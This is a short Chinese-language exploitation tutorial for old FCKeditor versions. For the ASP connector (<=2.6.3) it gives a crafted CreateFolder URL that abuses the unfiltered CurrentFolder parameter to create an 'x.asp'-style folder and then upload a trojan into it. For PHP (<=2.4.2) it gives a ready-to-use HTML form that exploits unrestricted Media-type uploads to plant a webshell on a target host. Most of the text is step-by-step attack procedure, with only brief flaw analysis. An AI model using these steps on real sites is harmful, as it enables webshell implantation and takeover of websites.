FckEditor编辑器漏洞利用

简介

FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合。“FCKeditor”名称中的“FCK” 是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。

ASP版本漏洞

版本:<=v2.6.3
两个编辑器自带的测试上传页面:
a.fckeditor/editor/filemanager/connectors/test.html
b.fckeditor/editor/filemanager/connectors/uploadtest.html
使用a页面新建文件或者文件夹的时候,文件名中的”.”会被过滤未”_”。

利用方法:
a.构造好如下地址访问:
fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/qing.asp&NewFolderName=x.asp (如果为其他类型的脚本语言,注意替换url中的关键字),会在/qing.asp文件夹下创建x_asp文件夹。
b.访问测试上传页面a.fckeditor/editor/filemanager/connectors/test.html,修改Current Folder未qing.asp文件夹,上传木马文件至该文件夹。
c.访问木马文件。

漏洞分析:
程序对参数’NewFolderName’进行过滤,但是并没有对参数’CurrentFolder’进行过滤,所以我们可以通过操作’CurrentFolder’参数,来创建满足解析漏洞的文件夹。

若管理员禁止了以上两个测试页面的上传功能,可以通过构造的地址新建符合解析漏洞的文件夹,访问测试页面获取到文件夹的地址,然后找到后台的上传地址,上传文件,上传是需要修改上传链接中的path参数,将文件上传到刚才新建的符合解析漏洞的目录。

PHP版本漏洞

版本:<=2.4.2
编辑器未对Media类型进行上传文件类型的控制,导致用户能够上传任意文件。

利用方法:
将如下代码保存成html文件,注意test.com修改为目标地址:

1
<form id="frmUpload" enctype="multipart/form-data"action="http://test.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form>

上传php文件之后,右键查看网页源代码获取webshell地址。